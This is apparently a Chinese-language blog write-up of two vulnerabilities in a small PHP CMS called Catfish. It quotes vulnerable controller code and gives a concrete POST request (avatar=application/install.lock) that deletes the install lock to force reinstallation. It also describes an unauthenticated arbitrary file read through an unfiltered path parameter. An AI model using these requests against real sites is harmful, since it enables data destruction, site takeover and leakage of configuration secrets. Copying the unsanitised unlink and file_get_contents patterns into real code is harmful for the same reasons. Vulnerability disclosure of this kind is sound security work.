闲来无事做,好久不挖洞了..搞安卓搞得心烦意乱..花半小时挖点小cms调节一下。
任意文件删除
漏洞触发点:
在/application/user/controller/Index.php中第93行:
public function touxiang()
{
$this->checkUser();
if(Request::instance()->isPost())
{
//验证输入内容
$rule = [
'avatar' => 'require'
];
$msg = [
'avatar.require' => Lang::get('Please upload your avatar')
];
$data = [
'avatar' => Request::instance()->post('avatar')
];
$validate = new Validate($rule, $msg);
if(!$validate->check($data))
{
$this->error($validate->getError());//验证错误输出
return false;
}
$avatar = Db::name('users')
->where('id', Session::get($this->session_prefix.'user_id'))
->field('avatar')
->find();
$yuming = Db::name('options')->where('option_name','domain')->field('option_value')->find();
//删除原图
if(Request::instance()->post('avatar') != $avatar['avatar'])
{
$yfile = str_replace($yuming['option_value'],'',$avatar['avatar']);
if(!empty($yfile)){
$yfile = substr($yfile,0,1)=='/' ? substr($yfile,1) : $yfile;
$yfile = str_replace("/", DS, $yfile);
@unlink(APP_PATH . '..'. DS . $yfile);
}
}
$data = ['avatar' => Request::instance()->post('avatar')];
Db::name('users')
->where('id', Session::get($this->session_prefix.'user_id'))
->update($data);
}
$this->receive();
$this->assign('active', 'touxiang');
$view = $this->fetch();
return $view;
}
可以看到这里有个unlink的操作,我们看一下参数有一个$yfile:
回溯一下该变量,发现源头的是我们从数据库中取出的avatar经过替换得到的一个字符串,那么数据库里的avatar是什么值呢?
我们可以看到,这个其实就是我们编辑完头像的名字存到数据库里的,那么如果这个东西可控的话,那么unlink的文件也是可控的,那么我们就可以达到一个任意文件删除的目的了。那么这个入库的东西到底可不可控呢?答案是可控的
就看这两处:
$data = [
'avatar' => Request::instance()->post('avatar')
];
Db::name('users')
->where('id', Session::get($this->session_prefix.'user_id'))
->update($data);
可以看到其实直接将我们post过来的avatar变量入了库,没有进行检测,导致我们可以构造任意的值。达到一个任意文件删除的目的。
漏洞利用
利用也很简单:
首先注册登录一个账号,然后构造发包:
http://localhost/catfish/user/index/touxiang.html
POST: avatar=application/install.lock
然后再POST一次不同的avatar的值,就可以删除掉install.lock文件了,达到一个重装的效果。
任意文件读取
漏洞触发点
我对于这个漏洞是很奇怪的,并没有搞懂开发人员的想法,在/application/multimedia/controller/Index.php中的index方法:
public function index()
{
if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get'))
{
if(Request::instance()->get('media') == 'image')
{
echo APP_PATH.'plugins/'.Request::instance()->get('path');
header("Content-Type: image/".Request::instance()->get('ext'));
echo file_get_contents(APP_PATH.'plugins/'.Request::instance()->get('path'));
exit;
}
}
}
这三个参数可控,并且没有任何过滤,这个controller也没有任何权限验证,所以说直接不用登陆就可以读取任意文件,比如说读取配置文件:
后记
渣渣洞,没有多高技术含量,仅供学习。